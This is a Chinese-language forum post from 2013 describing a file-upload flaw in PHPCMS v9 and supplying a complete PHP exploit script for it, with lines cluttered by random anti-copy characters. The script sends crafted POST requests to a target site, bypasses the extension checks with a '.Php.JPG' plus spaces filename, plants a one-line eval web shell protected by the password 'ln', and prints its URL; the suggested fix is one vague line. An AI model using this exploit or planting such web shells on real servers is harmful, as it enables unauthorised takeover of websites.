找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2249|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
  e6 p5 ^. W" T7 Y
6 p/ E1 t/ N% y. D$ E简要描述:! N. w) P) [( O* u# e- F1 V; M

% {" m8 S+ m4 j0 D9 O3 Pphpcms v9 getshell (apache)
9 i4 A) x2 g: ^. s4 a详细说明:
! I( n3 y  `( G. z, M, k+ @6 e2 n6 _* |* h
漏洞文件:phpcms\modules\attachment\attachments.php
( a3 J. X0 H+ h6 w) E$ m8 R. z+ i& J" Q. _
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
0 n# Q. A% F$ Q9 Y; M$ P, u" b后缀检测:phpcms\modules\attachment\functions\global.func.php
2 p) l; M+ d# x2 q9 q- I" z
9 N2 Y; v: ]/ b1 B 4 i0 w! {5 v& R+ t, O9 C
) j# I3 Y5 B! n# x
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  4 u$ C: u) y5 P( H

  s4 B# n# j; C* W7 U关键函数:1 m& S( c: ?; u0 t' x6 [: A: K, }

; K# J1 n  r( ?' y* K* ]
& m" n2 _) W( s  y# V, {( K/ R3 I2 v( V& A( P: {
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
' V3 x* i8 n- k& `2 b
7 f! G" G/ {4 J. v$ n  Fileext函数是对文件后缀名的提取。4 L/ a) b2 N) f9 h7 ~% }
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php4 g, n; y% M0 y3 f. m
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
" N$ x( B( _9 w6 t我们回到public function crop_upload() 函数中
+ w7 q$ z# e8 q+ A  jif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();. c& c. D& J6 q& Y, v
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数& s) T# I( v& T2 r2 M
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
) M: S: H" A/ S# t' L经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。" N! s# [! u2 P+ E% d1 k
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。  _0 M- x. i) h( N$ n  x
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
% x9 l9 [6 x- m8 U5 z漏洞证明:
( u6 L; Y9 t0 x
8 D" z0 C, T4 \0 K# X! Aexp:
/ c# F- @. \, \& D: O) `
0 k) d' Y0 y; Q( o  v3 {& L" f<?php
# B6 b+ x+ \- b8 ?) l" yerror_reporting(E_ERROR);+ J% I6 j1 ]& I! s) a4 o
set_time_limit(0);
' C) t3 C! ^: K$pass="ln";
4 D9 C! Q5 H0 Z, A- c: Aprint_r('
3 {' @/ {; i4 |4 S" h3 O+---------------------------------------------------------------------------+
$ m- r: D' E4 }4 j+ z- qPHPCms V9 GETSHELL 0DAY
8 g9 Z- _7 X% |2 n& h0 E* Pcode by L.N.* r* i6 _1 _* B* k/ d

% f8 f9 T, h, d) L( X. Rapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
) N! Z: R% O/ d6 u+---------------------------------------------------------------------------+; j; q* l9 ^- A1 I$ f# X
');
6 {4 i$ c9 a; A2 P; Y" iif ($argc < 2) {
' X, ^* F6 s2 c9 j9 R( t4 lprint_r('
. [4 T( |9 J$ |/ O( |+---------------------------------------------------------------------------+
' D1 F/ |+ r0 X8 x" _( f, mUsage: php '.$argv[0].' url path
6 Z$ i( T' }" h3 r5 y
  X0 ]: Q; a  {/ a/ eExample:
6 }& Z# i+ b* s! K5 `! T' u1.php '.$argv[0].' lanu.sinaapp.com
% c3 F2 l) u+ f5 _0 C" r1 D1 w2.php '.$argv[0].' lanu.sinaapp.com /phpcms
/ H" e  L0 s8 b, b- W; s+ s& z+---------------------------------------------------------------------------+
# L' J/ c0 ~( I7 V' O/ n9 w');1 c! P/ }, [: V. U1 t5 f
exit;
4 B: t$ [* _' w8 D, O- e! k" u}
5 o( e% ?/ d: J' p4 [2 F
8 M" s0 Z) S. t% ^; C( T$url = $argv[1];# |$ _( ]0 [7 N* R: S# z5 U
$path = $argv[2];  c1 F+ Z. I% ~: c* e, ~" D+ r/ v
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';. n# ~5 V& A+ S& ]- ~2 w
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';4 Z+ ^4 g. U* F: R6 R1 s
if($ret=Create_dir($url,$path))
5 w! K) K8 z2 i+ ]# v% u* Y; ]* {! }+ @{4 j4 Z1 s! t) Y* }  @! Y
//echo $ret;
' W* d" x& [) K$ [( ?$pattern = "|Server:[^,]+?|U";$ L& P0 p+ G% [) Z( G3 @$ t. p0 g$ i
preg_match_all($pattern, $ret, $matches);- z: P8 C3 f) B8 T' `8 f
if($matches[0][0]): _/ O8 H9 u7 P2 ~
{
4 T' y# A; a9 vif(strpos($matches[0][0],'Apache') == false)* z( B# X8 {3 V9 C4 E* D
{
) O: h$ _1 f3 P& X# l) o* {echo "\n亲!此网站不是apache的网站。\n";exit;( E3 `+ [' B7 W6 z- F0 r
}
  O- t0 R/ ^: I" U+ v8 x) \' b9 R4 ?}. c9 E& I" E3 |1 Y8 v
$ret = GetShell($url,$phpshell,$path,$file);5 J+ ~1 I8 e3 Y9 d2 l
$pattern = "|http:\/\/[^,]+?\.,?|U";. {# Q1 ^3 e  [& W" F
preg_match_all($pattern, $ret, $matches);  N$ X; o0 y" b6 B  v, J( i, L7 A
if($matches[0][0])
/ G& F; a( ?# a2 r$ Y8 O{3 b  E4 ?/ A) A; |
echo "\n".'密码为: '.$pass."\n";
% ?( w2 g6 z7 zecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
' \" p9 F( o& G# p: g}
. i" H' {2 e% \. nelse
& u/ H5 g: m0 P7 Q{
8 E* X+ R9 [' a# K" }& t. {& R$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
- Z0 [$ u1 s4 Q3 ?preg_match_all($pattern, $ret, $matches);( E. i* e) |) R# b% ~" z
if($matches[0][0])/ a6 X% Z6 c  w2 ^/ G0 p: Q. h1 {
{, q1 S4 \0 J: f4 r+ \5 y- n; T- X
echo "\n".'密码为: '.$pass."\n";- ~/ y8 c% P; ^
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;) C, L5 B1 P: n" [  P) n5 Q9 h9 g
}8 l, ]' b- A+ S  p% J. p: d4 p
else
6 i) G3 Z. h$ x: J7 q6 U{  V3 K; r7 [0 F# a% L/ z$ C# s
echo "\r\n没得到!\n";exit;( \$ y3 ^7 }# v* S: z$ x! v( U
}5 \) H9 Q8 ]6 S  l* E
}) x. g0 J4 m% z. j( f" `2 B2 @# n
}
/ r  T+ k+ ^/ S3 m$ ?' h) u2 Z. R4 d( C8 K
function GetShell($url,$shell,$path,$js)/ O3 h. Y. n) h: a
{
  ?7 ]$ l- h+ y$content =$shell;
& v% w/ k0 a( b6 E$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";7 Y  s9 L% I5 d  [. }
$data .= "Host: ".$url."\r\n";
) ?& |' m- `8 d; ?6 B6 O$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
2 w# r; m6 d2 O( [3 r! b$ {( t$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
: F0 X$ D9 B9 \1 j; j$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
9 A& @7 i8 o+ P, a" g+ P; L* a8 ?$data .= "Connection: close\r\n";4 |$ a0 T; `& D$ u( G
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";- ?, p1 |" B. \8 z
$data .= $content."\r\n";# ~  e# J& P7 E! S2 Z8 ]
$ock=fsockopen($url,80);, g8 C; c4 N$ D, K% R; ?
if (!$ock)
' ^3 N% R8 C' A! n  B  h7 Q- _, s{0 ~" W, }* V. @0 M9 o0 y9 Q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
0 c: j6 h, ~9 d3 v}1 o  l' ], S' N1 Q8 `2 l  C' K
else! w* ^! H# Q0 ?) t) e% |
{
$ Q. v3 l4 f& S4 D/ @7 J! Yfwrite($ock,$data);" a, \  a0 D* r9 Z3 p
$resp = '';
' v0 c  v$ \9 a% i1 b( k: s3 cwhile (!feof($ock))
" Y* u+ _2 w0 {{' ~, e6 S# ~7 u7 E2 t
$resp.=fread($ock, 1024);2 a5 i* @0 g& a
}
4 }' @$ M- x7 x# V3 v. Nreturn $resp;
* }/ t& l5 m) R/ |1 v7 t. ^( z}
- Y) L0 J; N$ t$ a! M9 W' u}5 f) T% R/ G1 J% T( S
" R: L7 E2 a9 x4 L5 A; C4 p
function Create_dir($url,$path='')8 _/ B; F3 w) s# X2 j
{/ C- A& l# T6 _, ~$ C2 K
$content ='I love you';
+ ]* p0 H/ m* n& q* H$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
# q) T0 O6 U: P- L$data .= "Host: ".$url."\r\n";
) j2 g; `( l- }$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";! r7 _; f2 G2 U" @" Z
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
2 l5 w* k* h- w5 d( a$ u$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
! a/ i- s, K4 I  l- c7 d. I- g$data .= "Connection: close\r\n";
9 ]6 n& C; F4 R- w2 e! [2 B$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
3 @/ X4 z7 \3 D: M  m$data .= $content."\r\n";
2 A  c, E8 W9 u3 A3 n4 |3 P6 ~' r6 `$ock=fsockopen($url,80);
& c) O) X! Y( _9 W, S" U4 Tif (!$ock), h  J9 z& e  A& \
{7 C1 b: X5 W' q5 r; m, x% ^' p5 Y
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
8 {" Y) L8 ~0 {# g! G5 O, b- [}
, a' b* j& y2 B8 _& p: Lfwrite($ock,$data);6 v/ m' m. M# V
$resp = '';/ _& \* f8 @& J4 N* c
while (!feof($ock))" a. O+ d* H% P  f  F4 w$ V! H4 u
{
* j2 U; Q1 ?' \( R9 @' A. e% V$resp.=fread($ock, 1024);/ I; B/ b8 ~+ W3 v6 ^9 T5 Q( o
}
1 Q" w( [2 T. w4 j4 U2 f+ D! Ireturn $resp;& }+ M* B$ B; W3 ^1 S
}. [; ?8 R: F2 m# E4 q/ L- u
?>
; p6 W* U" X! w* f
9 H/ d' j- y. N- H- p7 R' k" c0 H/ E; C修复方案:1 c# [* O# y4 s" H1 W  j8 q
. {, {+ }* j4 E# l
过滤过滤再过滤3 a& L" t0 O' L# n* `
; F: _- y/ O( ^9 b5 }. }( z% b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表